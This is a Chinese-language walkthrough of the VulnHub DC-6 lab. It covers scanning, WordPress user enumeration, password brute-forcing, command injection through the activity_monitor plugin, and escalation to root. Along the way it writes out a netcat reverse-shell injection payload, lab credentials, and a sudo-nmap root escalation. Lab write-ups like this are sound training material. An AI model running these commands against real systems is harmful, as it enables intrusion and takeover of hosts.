vulnhub靶场之DC-6

发布时间:2024年01月12日

一.环境搭建

1.靶场描述

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-6,315/

3.启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行.

image-20240106135646346

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透靶场

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶机真实IP

使用nmap进行探活,寻找靶机ip

namp -sP 192.168.52.0/24

image-20240106135837395

arp-scan -l

image-20240106140058173

我们知道靶场ip地址为192.168.52.137

(2)探端口及服务

nmap -A -v -p- 192.168.52.137

image-20240106140416427

发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.52.137

image-20240106140641551

(3)web指纹识别

image-20240106140743488

3.渗透测试

(1)访问web服务

http://192.168.52.137

image-20240106140943867

发现找不到,我们可以明显的看到ip变成了域名,那可以知道是由于DNS解析失败导致的,我们就需要在hosts文件中添加指向。

1)windows修改hosts文件

打开hosts文件,hosts文件路径如下

C:\WINDOWS\system32\drivers\etc

image-20240106142128890

添加如下内容

192.168.52.137 wordy

image-20240106142311316

2)liunx修改hosts文件

hosts文件路径如下

/etc/hosts

Vim修改hosts文件

vim /etc/hosts

image-20240106142555410

3)hosts文件修改成功

image-20240106144015180

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.137

image-20240106205743696

2)nikto扫描网站结构

使用nikto工具扫描网站结构,发现登录页面wp-login.php和一些其他的目录

nikto -h http://192.168.52.137

(3)进行渗透测试

1)访问登录页面

image-20240106150637351

但是我们不知道用户名和密码,我们可以进行爆破

2)获取用户名

我们使用wpscan进行爆破用户名

使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户

wpscan --url wordy -e u

image-20240106151019138

image-20240106151110018

我们可以发现5个用户名

3)制作用户字典

题目中给出了提示,告诉了我们密码字典的生成方式

image-20240106153118646

image-20240106153234123

cd /usr/share/wordlists
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic

image-20240106153629093

4)爆破用户名和密码

爆破时间有点长

image-20240106154303260

image-20240106154331079

用户名是mark 密码helpdesk01

5)进行登录
http://wordy/wp-login.php
Mark/helpdesk01

image-20240106154541856

6)发现RCE漏洞

简单看一下页面,发现存在activity_monitor插件,存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的,可能存在一个RCE的漏洞。

image-20240106154836166

image-20240106155007452

image-20240106155022692

发现长度限制并绕过

发现在前端做了长度限制,最长长度只能输入15个字符,就是说输入114.114.114.114的话没办法加命令,这里提供两个思路,一个就是采用burp抓包修改,一个就是直接修改html
我这里采用修改html的方式绕过长度限制
打开开发者模式F12
输入114.114.114.114,点击lookup,采用小箭头找到输入框,找到114的位置,把114.114.114.114改成114.114.114.114;whoami,然后再次点击lookup,命令执行成功,同理我们可以反弹shell

我们使用看到无法输入

image-20240106155219804

image-20240106155451150

image-20240106155601516

(4)反弹shell到kali

1)kali进行监听
nc -lvnp 55555
2)靶机执行命令

把html输入内容位置改成反弹的命令

114.114.114.114;nc -e /bin/bash 192.168.52.152 55555
3)监听成功

image-20240106160119704

image-20240106160805765

4)进入交互式shell

这个shell不好用,进入交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

image-20240106160818161

(5)进行提权

1)尝试suid提权失败

查找具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null 

image-20240106201514030

没有发现可以利用的程序,我们换一个思路

2)查找可执行操作

执行sudo -l,发现需要www-data的密码

sudo -l

image-20240106202103926

我们切换到home目录下,可以发现有4个用户名

image-20240106202225676

我们一个一个进行查看,最后进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码

image-20240106202618991

image-20240106202731250

image-20240106202745818

可以看到有一个stuff文件

image-20240106203025536

3)切换到graham用户

我们切换用户为graham,输入密码GSo7isUM1D4

image-20240106203628420

4)发现jens目录下backups.sh文件
/home/jens/backups.sh

image-20240106203805466

查看备份文件

cat /home/jens/backrups.sh

image-20240106204017919

发现里面是如下命令,是对web的文件进行打包备份

tar -czf backups.tar.gz /var/www/html

image-20240106204359682

5)切换到jens 用户

向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本

image-20240106204602880

脚本执行成功后,切换到jens用户

image-20240106204637136

6)发现jens可在无密码下执行nmap

再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令

image-20240106204808230

可以看到root

7)提权成功

百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件

echo 'os.execute("/bin/sh")' > getShell
sudo  nmap  --script=getShell

image-20240106205045678

8)发现flag

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto

8.wpscan

9.[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

10.[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)

11.简谈SUID提权

12.实现交互式shell的几种方式

13.修改hosts文件

文章来源:https://blog.csdn.net/qq_58091216/article/details/135536958
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。